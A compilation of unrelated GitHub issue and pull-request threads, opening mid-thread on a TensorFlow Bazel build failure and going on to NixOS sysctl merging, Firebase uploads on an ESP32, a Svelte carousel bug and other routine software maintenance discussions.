/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:520:27: error: use of undeclared identifier '__c'
        return do_toupper(__c);
                          ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:627:15: error: C++ requires a type specifier for all declarations
    char_type toupper(char_type __c) const
              ^
bazel-out/host/genfiles/external/local_config_python/python_include/pyport.h:731:29: note: expanded from macro 'toupper'
#define toupper(c) towupper(btowc(c))
                            ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:633:48: error: too many arguments provided to function-like macro invocation
    const char_type* toupper(char_type* __low, const char_type* __high) const
                                               ^
bazel-out/host/genfiles/external/local_config_python/python_include/pyport.h:731:9: note: macro 'toupper' defined here
#define toupper(c) towupper(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:633:29: error: expected ';' at end of declaration list
    const char_type* toupper(char_type* __low, const char_type* __high) const
                            ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:645:48: error: too many arguments provided to function-like macro invocation
    const char_type* tolower(char_type* __low, const char_type* __high) const
                                               ^
bazel-out/host/genfiles/external/local_config_python/python_include/pyport.h:729:9: note: macro 'tolower' defined here
#define tolower(c) towlower(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:629:27: error: use of undeclared identifier '__c'
        return do_toupper(__c);
                          ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:755:21: error: too many arguments provided to function-like macro invocation
isspace(_CharT __c, const locale& __loc)
                    ^
bazel-out/host/genfiles/external/local_config_python/python_include/pyport.h:725:9: note: macro 'isspace' defined here
#define isspace(c) iswspace(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:755:1: error: declaration conflicts with target of using declaration already in scope
isspace(_CharT __c, const locale& __loc)
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk/usr/include/_ctype.h:267:1: note: target of using declaration
isspace(int _c)
^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/cctype:113:9: note: using declaration
using ::isspace;
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:757:5: error: expected expression
    return use_facet<ctype<_CharT> >(__loc).is(ctype_base::space, __c);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:758:2: error: expected ';' at end of declaration
}
 ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:779:21: error: too many arguments provided to function-like macro invocation
isupper(_CharT __c, const locale& __loc)
                    ^
bazel-out/host/genfiles/external/local_config_python/python_include/pyport.h:727:9: note: macro 'isupper' defined here
#define isupper(c) iswupper(btowc(c))
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:779:1: error: declaration conflicts with target of using declaration already in scope
isupper(_CharT __c, const locale& __loc)
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk/usr/include/_ctype.h:273:1: note: target of using declaration
isupper(int _c)
^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/cctype:114:9: note: using declaration
using ::isupper;
        ^
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe_src.cc:18:
In file included from external/org_tensorflow/tensorflow/python/eager/pywrap_tfe.h:22:
In file included from external/org_tensorflow/tensorflow/core/lib/core/status.h:23:
In file included from bazel-out/host/genfiles/external/org_tensorflow/tensorflow/core/lib/core/error_codes.pb.h:9:
In file included from external/protobuf_archive/src/google/protobuf/stubs/common.h:39:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/iostream:38:
In file included from /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/ios:216:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:781:5: error: expected expression
    return use_facet<ctype<_CharT> >(__loc).is(ctype_base::upper, __c);
    ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:782:2: error: expected ';' at end of declaration
}
 ^
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1/__locale:787:21: error: too many arguments provided to function-like macro invocation
islower(_CharT __c, const locale& __loc)
                    ^
bazel-out/host/genfiles/external/local_config_python/python_include/pyport.h:723:9: note: macro 'islower' defined here
#define islower(c) iswlower(btowc(c))
        ^
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.
INFO: Elapsed time: 840.907s, Critical Path: 121.36s
INFO: 3152 processes: 3152 local.
 But, when I try to import the library, I get the following error. I think I'm missing an installation step, but since I'm not familiar with bazel I couldn't figure it out and I couldn't find any .whl or .pip files as output.
>>> import tensorflow as tf
>>> tf.__version__
'1.12.0'
>>> from multidim_image_augmentation import augmentation_ops
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "multidim_image_augmentation/__init__.py", line 20, in <module>
    'multidim_image_augmentation/python/ops/_augmentation_ops.so')
  File "/home/erfannoury/anaconda3/envs/py27/lib/python2.7/site-packages/tensorflow/python/framework/load_library.py", line 60, in load_op_library
    lib_handle = py_tf.TF_LoadLibrary(library_filename)
tensorflow.python.framework.errors_impl.NotFoundError: multidim_image_augmentation/python/ops/_augmentation_ops.so: cannot open shared object file: No such file or directory

OK this is helpful. To track the various pieces I split out #3 for py3 support and #4 to track the xcode build error.
For your remaining load_op_library issue, can you confirm if the op built in tests pass OK? i.e. what is the output of bazel test -c opt //...  ?
If that's working, the tests are able to load the op .so (binary) OK, so you might be able to use their build rules as a template for getting your own application code setup in bazel to be able to find the ops too.
A more brutal hack (to prove it's just a path load issue) is to find the _augmentation_ops.so file in the bazel build tree, and update the tf.load_op_library call in init.py to point to the full path to it.

Obsolete as OSS project no longer under development and being archived


Introduce a diagnostic log collector to the backend-jvm

Purpose
Fixes https://github.com/ballerina-platform/ballerina-lang/issues/17669
Check List

[x] Read the Contributing Guide
[ ] Required Balo version update
[ ] Updated Change Log
[ ] Checked Tooling Support (#)
[] Added necessary tests

[ ] Unit Tests
[ ] Spec Conformance Tests
[ ] Integration Tests
[ ] Ballerina By Example Tests

[ ] Increased Test Coverage
[ ] Added necessary documentation

[ ] API documentation
[ ] Module documentation in Module.md files
[ ] Ballerina By Examples

Codecov Report

Merging #17832 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master   #17832   +/-   ##
=======================================
  Coverage   14.91%   14.91%
=======================================
  Files          46       46
  Lines        1227     1227
  Branches      193      193
=======================================
  Hits          183      183
  Misses       1030     1030
  Partials       14       14

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cecd47c...18cc06a. Read the comment docs.


[docs] Add a simple documentation

🚀 Feature
Add package documentation built with Sphinx for easier user usage.
Motivation
Non-developer users will most likely install the package and will not read the code or docstrings to use the package. Hence the need for documentation

Possibility to host this on github pages: https://www.docslikecode.com/articles/github-pages-python-sphinx/


Replace engine-api dep with upstream docker/docker/client

This removes the engine-api dep in favor of the new upstream location for this code at github.com/docker/docker/client and the types at github.com/docker/docker/api/types.
There was a version bump so I regenerated the mock code and fixed the tests and related code.

Current coverage is 55.21% (diff: 4.34%)

Merging #1505 into master will decrease coverage by 0.18%

@@             master      #1505   diff @@
==========================================
  Files            82         82
  Lines         12914      12888    -26
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
- Hits           7154       7116    -38
  Misses         4776       4776
- Partials        984        996    +12

Powered by Codecov. Last update 31f6a0d...b09b12b

LGTM

LGTM

LGTM

Could you guys please CC me on this? I just spent last night and today getting a PR together for this...


bedrock[minor]: Allow knowledge bases to use filters and searchType

Adds optional filter and optional overrideSearchType parameters to the Bedrock knowledge base client:
export interface AmazonKnowledgeBaseRetrieverArgs {
  knowledgeBaseId: string;
  topK: number;
  region: string;
  clientOptions?: BedrockAgentRuntimeClientConfig;
  filter?: RetrievalFilter;
  overrideSearchType?: SearchType;
}

Also, updates the source location of the document depending on the KB configuration: S3, WEB, CONFLUENCE, SALESFORCE, SHAREPOINT

Thanks for the review and merge @bracesproul. Is it possible to bump the aws package? or there's a release process/waiting?

Thanks for the review and merge @bracesproul. Is it possible to bump the aws package? or there's a release process/waiting?

Yes! Just cut a release. Should be avail in v0.0.6 (#6233)


Creating a Super User for Django Backend

I can't figure out how to create a super user so that I can manage users in the admin portal. I know you are suppose to use manage.py, but not sure how to do that when its in railway. Can you help?

I can't figure out how to create a super user so that I can manage users in the admin portal. I know you are suppose to use manage.py, but not sure how to do that when its in railway. Can you help?

Hi @foopis23, I'm afraid you can't create additional superusers, only the one that comes by default.

Oh, there is a default one? I can't find the documentation for that in django or glitchtip. What is the default one? Maybe we could add to the readme or the railway template content documenting the default credentials?

Oh, there is a default one? I can't find the documentation for that in django or glitchtip. What is the default one? Maybe we could add to the readme or the railway template content documenting the default credentials?

Ohh I think I'm the wrong here, by superuser I mean the user that comes by default when creating the first user in open registration.

Oh, there is a default one? I can't find the documentation for that in django or glitchtip. What is the default one? Maybe we could add to the readme or the railway template content documenting the default credentials?

Ohh I think I'm the wrong here, by superuser I mean the user that comes by default when creating the first user in open registration.

Ohhh, I see. Man it would be so nice if railway had a thing similar to docker exec 😢
I'm working right now to see if I can't create a superuser by spinning up the containers locally and using the railway cli to call manage.py. I'll post the results here once I can test it and then close the issue. I appreciate your time.


FR: Allow to define multiple workflow files in single repository

Currently, it's not possible because Workflow struct has hardcoded name for ci.yml. This limits the possible usage of the library when multiple workflow files are required.

Generate is public and can be used to generate workflow with different configurations. Not a good idea to add more generation related methods on Workflow.

Generate is public and can be used to generate workflow with different configurations. Not a good idea to add more generation related methods on Workflow.
related #27

It's actually unclear that this is possible since the update methods are derived and there are no mentions in the docs how to do this

Perhaps better documentation can help.


add basic crd docs

Signed-off-by: rcernich<EMAIL_ADDRESS>I still need to organize the output and remove the generated JSON schema.  Should probably also edit the field comments to get better doc output.  And filter out basic types like TypeMeta and ObjectMeta.

Maybe we can add something to maistra.github.io that imports these

Yeah, I think @brian-avery was going to look into possibly doing something.

@mergifyio refresh


rmem_max: fix multi module conflict

Description of changes
The rmem_max value gets set by multiple nixos modules and conflicts. I thought about using mkOverride to fix the conflict. I wanted to create a mkAtLeast function but wasn't sure it was the best idea. The current hacky way works but could be improved.
Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[ ] Fits CONTRIBUTING.md.

If we want to resolve conflicts at module-level, IMHO the final value should be the max of all values instead of the min.

I have two thoughts about this PR.
As a professional, I'm not sure we should automatically resolve this. Fundamentally we have a conflict between two pieces of software wanting to set this value. Maybe the error the user experiences indicates they should stop and think about this.
As a hobbyist, practically this error doesn't matter at all and I'm just setting these values because the software wants me to. It's my homelab and not doing anything really important so I don't need to be bothered with this. Something like mkAtLeast will solve my problem.

If we take your proposed action we hurt one group of people. If we do not take any action we hurt the other group of people.
These are initial thoughts... I'll consider this some more and post back.
🤔

@jian-lin my understanding is that this is taking the max and not the min.
@aanderse let's think some more about it then. I feel setting the max here is what is desired for this particular value, but there might be unintented consequences.

After thinking about this more, to me two software want to set the same value.
Setting it to the maximum of both is what makes most sense here.
Happy to hear your thoughts though.

my understanding is that this is taking the max and not the min.

According to the code and doc, the final value is the one with the smallest priority. Your current implementation takes the min value as the final value.

It looks like I've completely missed this, thanks!
The only alternative way to set this was to set something like 1000 / rmem_in_mb , but this is complicated and horrible.
I'm going to remove the caddy settings for now and let people set it on their own, I think.

As a hobbyist, I'd expect this specific conflict to be resolved automatically by default, and let advanced users use mkForce if they find a reason to.
I guess taking the maximum should be done by changing boot.kernel.sysctl to be something like this:
boot.kernel.sysctl = mkOption {
  type = types.submodule {
    freeformType = types.attrsOf sysctlOption;

    options."net.core.rmem_max" = mkOption {
      type = types.ints.unsigned // { merge = <custom merge taking the maximum>; };
    };

  };
  default = {};
};

are we talking about something like this then ?
I have to say I like the idea. Testing if this MR works with my setup at least.

I would be curious if someone else could test this. @jian-lin maybe ?
Happy to receive feedback.

@jian-lin thank you for the feedback! Both suggestions have been applied. I'll leave this open for a bit.
@aanderse just in case, do you have any thoughts on this ? (no worries if you don't, I just want to make sure I'm not breaking something unintentionally).

Earlier I said

Something like mkAtLeast will solve my problem.

What you're doing implicitly covers this, so even better from that point of view :+1:
One thing I want to mention, though, is that now all of boot.kernel.sysctl behaves one way with the exception of this key - this becomes deserving of a release notes entry.
This inconsistent behaviour may or may not be desirable... but if I'm going to argue that it is desirable I can see that there could be other options that we could apply specific logic on like you're doing. Could be very nice :+1:
Overall I think this PR is a good way forward. Great work :tada:

ok, I took care of the remaining comments and added a section in the release notes.
Testing one more time.

By all means, feel free to comment as many times as you see something! On the contrary, it's always appreciated!
I gave it one more round of love, let me know if anything.

This PR fixes #168828 in a much more elegant way.
It would have been nice if I was pinged since I didn't know about this change until now.
One question: Are priorities still respected with the custom merge function? So if module A were to set "net.core.rmem_max" = mkDefault 42 and module B were to set "net.core.rmem_max" = 7 would 7 be the actual value, like one might expect? This also determines whether mkForce still works.


Version in keras

Hi, I saw this project and I want to try it, but my project is all in keras.
(I never used pytorch)
Has anyone translated the code into keras?
There's a way to get this code compatible with keras?
Thanks.

Sorry, we don't have a keras version implementation, but our method is very simple and effective, you can try to implement it yourself.


[bug] Package import results in window.history manipulation

Describe the bug
When importing any module exported by aem-spa-page-model-manager triggers problematic manipulation of window.history.
Package version
Version<EMAIL_ADDRESS>To Reproduce
Let's say we only import Constants like this:
import { Constants } from '@adobe/aem-spa-page-model-manager'

Behind  the scenes this will include ModelRouter.ts and consequently on line 180 and bellow built-in history and window methods will be overwritten (per default). As a developer this is a unexpected side-effect and  overwriting built-in methods is a bad practise and should be avoided.
Expected behavior
I would suggest to either add this router init behavior to a dedictated method like initModelRouter or add it to the initialize function. Overwrites should be removed in favor of browser hooks like:
window.addEventListener('popstate', handleRoutingEvent)

Thx @anoack93 for reporting the issue. If you are blocked by this problem and cannot wait for us to address it, you are welcome to submit a proposition.
Ticket tracked internally by CQ-4324144

Thank you @pfauchere
Currently we have a workaround and are not blocked by this problem, but if we get more problems in regard to this issue, we will contribute a pull request


Firebase Storage Upload stops without any error message also if using sdfat as sd filesystem

Hi
I use the lib in latest version 4.4.11 on esp32-cam and store jpg files to firebase storage with this function
    if (Firebase.Storage.upload(&fbdo, STORAGE_BUCKET_ID /* Firebase Storage bucket id */, filename /* path to local file */, mem_storage_type_sd /* memory storage type, mem_storage_type_flash and mem_storage_type_sd */, BUCKET_PHOTO /* path of remote file stored in the bucket */, "image/jpeg" /* mime type */,fcsUploadCallback)){
      Serial.printf("\nDownload URL: %s\n", fbdo.downloadURL().c_str());

I use a sdfat as a sd filesystem for local storage from where the picture was taken and adruino cor is also updated to latested version
Normally this work's fine and in the callback function I see the progress of upload
But sometimes the upload stops without any error message.
The FCS_UploadStatusInfo.Status has the value fb_esp_fcs_upload_status_error, but ErrorMsg is empty
What could be the reason?
Here the callback function
void fcsUploadCallback(FCS_UploadStatusInfo info)
{
    if (info.status == fb_esp_fcs_upload_status_init){
        Serial.printf("Uploading file %s (%d) to %s\n", info.localFileName.c_str(), info.fileSize, info.remoteFileName.c_str());
    }
    else if (info.status == fb_esp_fcs_upload_status_upload)
    {
        Serial.printf("Uploaded %d%s, Elapsed time %d ms\n", (int)info.progress, "%", info.elapsedTime);
    }
    else if (info.status == fb_esp_fcs_upload_status_complete)
    {
        Serial.println("Upload completed\n");
        FileMetaInfo meta = fbdo.metaData();
        Serial.printf("Name: %s\n", meta.name.c_str());
        Serial.printf("Bucket: %s\n", meta.bucket.c_str());
        Serial.printf("contentType: %s\n", meta.contentType.c_str());
        Serial.printf("Size: %d\n", meta.size);
        Serial.printf("Generation: %lu\n", meta.generation);
        Serial.printf("Metageneration: %lu\n", meta.metageneration);
        Serial.printf("ETag: %s\n", meta.etag.c_str());
        Serial.printf("CRC32: %s\n", meta.crc32.c_str());
        Serial.printf("Tokens: %s\n", meta.downloadTokens.c_str());
        Serial.printf("Download URL: %s\n\n", fbdo.downloadURL().c_str());
        DiagManager.PushDiagData("Erledigt: %s",fbdo.downloadURL().c_str());
    }
    else if (info.status == fb_esp_fcs_upload_status_error){
        Serial.printf("Upload failed, %s\n", info.errorMsg.c_str());
    }
}

so it is the same behavior as described in  #635
but for now I#ve sd filesystem woking (10Mhz speed) and also latest version of ESP32 Adruino core sdk
but it is already the same just stopping without any message :
Uploading picture... Uploading file /picture_2024-02-19_18-11-15.jpg (160696) to /data/photo.jpg
Uploaded 0%, Elapsed time 91839 ms
Uploaded 2%, Elapsed time 91863 ms
Uploaded 4%, Elapsed time 91891 ms
Uploaded 6%, Elapsed time 91924 ms
Uploaded 8%, Elapsed time 91955 ms
Uploaded 10%, Elapsed time 91984 ms
Uploaded 12%, Elapsed time 92013 ms
Uploaded 14%, Elapsed time 92037 ms
Uploaded 16%, Elapsed time 92070 ms
Uploaded 18%, Elapsed time 92095 ms
Upload failed,

if i try again it just works
Thanks for any help in forward and kind regards

As I ever mentioned, you should use discussion first.
Your problem is not library issue.
The SPI speed may be too fast that causes data error.

Ok will slow down spi speed to 2MHz and try again

Hi mobizt
so i've made many test with different spi speeds
if I slow down SPI speed down to 2MHz, 1 MHZ, 0.5MHZ or down to 0.1 MHZ it changed nothing
most times it runs but the I've several times the upload stops at different percentage sometimes at 18% sometimes 25% sometimes 60-70%
the prohability the upload stops does not regading to the SPI speed, the problem occurs often (1 stop every 10 uploads), doesn't matter of the SPI speed
I've to try again a few secondes or a few minutes later then it works
I don't think that the problem is caused in the spi speed it seems the problem is caused by a different reason. How can i detect the reason the upload failed ?
Erroor message would be really helpful

I have no idea and you have to debug it yourself.
The SdFat and Firebase library are not the issue, and it is stable enough from intensively testing.
In addition to hardware issue, you have to manage your code to minimize the stack usage by avoiding using service routine of interrupt and callback.

Yes I've checked the code according to stack and memory usage
I will try to debug but where in your code will the failure to stop upload and call to the callback routine be generated ?
The problem is the upload code detects a problem and stop upload but didn't tell me the reason

I understand and what I have said, you have to debug it yourself and as I always said that I test this intensively 24/7 and everything works fine.
You already know that the filesystem is not part of library and it implemented via fs class.
Any read and write failures cause upload and download stop with unknown reason and cannot fix instead of network data transmission issue that we can handle.

I also don't have any issue in ESP8266 with has limited memory and RaspberryPi Pico for filesystem test.

yes i understand what you said that i've to debug myself
I will try to debug but where in your code will the failure to stop upload and call to the callback routine be generated ?
Just for helping me where i have to go my frist step
It's really a lot of stuff and difficult to understand, i just want to know where (in which file / function) you generate the upload abort and setting the FCS_UploadStatusInfo.status to fb_esp_fcs_upload_status_error
and where then you call the upload callbackroutine
I don't say that there is any failure in your code where you are responsible. I just want to find out whats going wrong and what causes the abort and asking for some help

There is none of my statement that I think you blame the library I just confirm it that is no bug in the library.

Ok no problem
I will try to debug but where in your code will in case of a failure to stop upload and to call the callback routine be generated ?
Just for helping me where i have to go my frist step
I just want to know where (in which file / function) you generate the upload abort and setting the FCS_UploadStatusInfo.status to fb_esp_fcs_upload_status_error
and where then you call the upload callbackroutine ?

It is up to you, and it is wasted the time and seems to be useless to debug in library code.
Here is the simple test code.
#include <Arduino.h>
#include <WiFi.h>

#include <Firebase_ESP_Client.h>
#include <addons/TokenHelper.h>
#include <addons/SDHelper.h>
#define WIFI_SSID "WIFI_AP"
#define WIFI_PASSWORD "WIFI_PASSWORD"
#define API_KEY "API_KEY"
#define USER_EMAIL "USER_EMAIL"
#define USER_PASSWORD "USER_PASSWORD"
#define STORAGE_BUCKET_ID "BUCKET-NAME.appspot.com"

FirebaseData fbdo;

FirebaseAuth auth;
FirebaseConfig config;

bool taskCompleted = false;

#if defined(ARDUINO_RASPBERRY_PI_PICO_W)
WiFiMulti multi;
#endif

unsigned long ms = 0;
int count = 0;

void setup()
{

    Serial.begin(115200);
    WiFi.begin(WIFI_SSID, WIFI_PASSWORD);

    Serial.print("Connecting to Wi-Fi");
    unsigned long ms = millis();
    while (WiFi.status() != WL_CONNECTED)
    {
        Serial.print(".");
        delay(300);
    }
    Serial.println();
    Serial.print("Connected with IP: ");
    Serial.println(WiFi.localIP());
    Serial.println();

    Serial.printf("Firebase Client v%s\n\n", FIREBASE_CLIENT_VERSION);

    configTime(7 * 3600, 0, "pool.ntp.org");

    while (time(nullptr) <<PHONE_NUMBER>)
    {
        delay(0);
    }

    config.api_key = API_KEY;
    auth.user.email = USER_EMAIL;
    auth.user.password = USER_PASSWORD;

    config.token_status_callback = tokenStatusCallback;

    Firebase.reconnectNetwork(true);

    fbdo.setBSSLBufferSize(4096, 1024);

    Firebase.begin(&config, &auth);

    config.fcs.upload_buffer_size = 512;

    SD_Card_Mounting();
}

void fcsUploadCallback(FCS_UploadStatusInfo info)
{
    if (info.status == firebase_fcs_upload_status_init)
    {
        Serial.printf("Uploading file %s (%d) to %s\n", info.localFileName.c_str(), info.fileSize, info.remoteFileName.c_str());
    }
    else if (info.status == firebase_fcs_upload_status_upload)
    {
        Serial.printf("Uploaded %d%s, Elapsed time %d ms\n", (int)info.progress, "%", info.elapsedTime);
    }
    else if (info.status == firebase_fcs_upload_status_complete)
    {
        Serial.println("Upload completed\n");
        FileMetaInfo meta = fbdo.metaData();
        Serial.printf("Name: %s\n", meta.name.c_str());
        Serial.printf("Bucket: %s\n", meta.bucket.c_str());
        Serial.printf("contentType: %s\n", meta.contentType.c_str());
        Serial.printf("Size: %d\n", meta.size);
        Serial.printf("Generation: %lu\n", meta.generation);
        Serial.printf("Metageneration: %lu\n", meta.metageneration);
        Serial.printf("ETag: %s\n", meta.etag.c_str());
        Serial.printf("CRC32: %s\n", meta.crc32.c_str());
        Serial.printf("Tokens: %s\n", meta.downloadTokens.c_str());
        Serial.printf("Download URL: %s\n\n", fbdo.downloadURL().c_str());
    }
    else if (info.status == firebase_fcs_upload_status_error)
    {
        Serial.printf("Upload failed, %s\n", info.errorMsg.c_str());
    }
}

void loop()
{

    if (Firebase.ready() && millis() - ms > 10000)
    {
        ms = millis();
        count++;
        Serial.println("\nUpload file...\n");
        Serial.printf("run: %d, timestamp: %d\n", count, time(nullptr));

        if (!Firebase.Storage.upload(&fbdo, STORAGE_BUCKET_ID, "/media.mp4", mem_storage_type_sd, "media.mp4", "video/mp4", fcsUploadCallback))
            Serial.println(fbdo.errorReason());
    }
}

Here is the 100 runs upload result of 383k media file.
And everything is ok.
Connecting to Wi-Fi..............

Just for helping me
I just want to know where (in which file / function) you generate the upload abort and setting the FCS_UploadStatusInfo.status to fb_esp_fcs_upload_status_error
and where then you call the upload callbackroutine ?

It is useless because hardware is defected.


Allow Alipay configuration

Added Alipay configuration, so that Stripe user can accept Alipay payments.  https://stripe.com/alipay

This looks great! Will do my best to get this merged this week :metal:

@wcurtis  cool! thanks for creating this ember addon! Just when I need it :)


Button becomes un-clickable on scrolling to next page

I have the following sandbox: https://codesandbox.io/s/svelte-typescript-forked-l0d9f?file=/src/App.svelte:379-392
As you can see when you click on the first one button there is a log message but clicking on the second one button nothing happens.

Same here, but only happening on mobile. No button inside the carousel can be pressed.
Removing swiping and pauseOnFocus did nothing

Any resolutions to this problem? I'm facing the same but just in mobile or mobile mode in the browser

Hello everyone.
I also have the same issue, only for mobile and mobile mode in the browser.
Playing a little bit with the source code, I was able to find that the responsible is this line: https://github.com/vadimkorr/svelte-carousel/blob/67c227995b439046c0346a8935e594927b0801ae/src/actions/swipeable/swipeable.js#L73
The handleUp is being called by the event added on handleDown function on the same file. Is there any reason why the event.preventDefault() was added there?

Still having this same issue on mobile only

I made the change that @fnavarijo suggested and saw that everything seemed to work as expected after that. I opened a pull request to remove the lines.
I am trying to come up with a workaround in the meantime, but I don't think I have enough experience. I wonder if there is a way to add a new event listener that intercepts clicks to the carousel particles and calls the right event listener?

Released in 1.0.20


Request: homekit-card

I love the work you are doing on custom lovelace elements. I thought I would throw in a request for another custom card type: would it be possible to emulate the square button types that the iOS HomeKit UI uses:
example
Basically it is an element that has a small icon (materialdesignicons would be ideal), location, entity name, and status text. "On (or no state) represented with white background, "off" with a dimmed background and grey font color.
While I'm not a huge fan of HomeKits automations, I find these kinds of buttons useful on a mobile interface for controlling various items. It would be very cool to see something similar for lovelace.
Thanks for considering!

@millercentral a square button is more like a custom element. That is not hard.
